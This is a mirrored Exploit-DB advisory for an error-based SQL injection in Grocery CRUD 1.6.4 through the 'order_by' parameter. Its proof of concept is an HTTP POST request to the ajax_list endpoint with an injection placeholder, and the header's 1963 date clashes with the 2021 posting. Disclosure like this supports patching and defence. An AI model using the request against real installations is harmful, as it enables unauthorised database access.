Grocery crud 1.6.4 – ‘order_by’ SQL Injection

• Exploit Database
• 21 阅读

• 作者： TonyShavez
  日期： 2021-06-11
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49985/

• # Exploit Title: Grocery crud 1.6.4 - 'order_by' SQL Injection
  # Date: 11/06/1963
  # Exploit Author: TonyShavez
  # Vendor Homepage: https://www.grocerycrud.com/
  # Software Link: https://www.grocerycrud.com/downloads
  # Version: < v2.0.1
  # Tested on: [Linux Ubuntu]
  
  Proof Of concept : 
  =======================
  #Request:
  
  POST /path/to/ajax_list HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
  Accept: application/json, text/javascript, */*; q=0.01
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  Content-Length: 68
  DNT: 1
  Connection: close
  
  page=1&per_page=100&order_b=&order_by[]={INJECT HERE}&search_field=&search_text=
  =======================
  #vulnerable parameter :
  
  order_by 
  =======================
  #type : [error-based]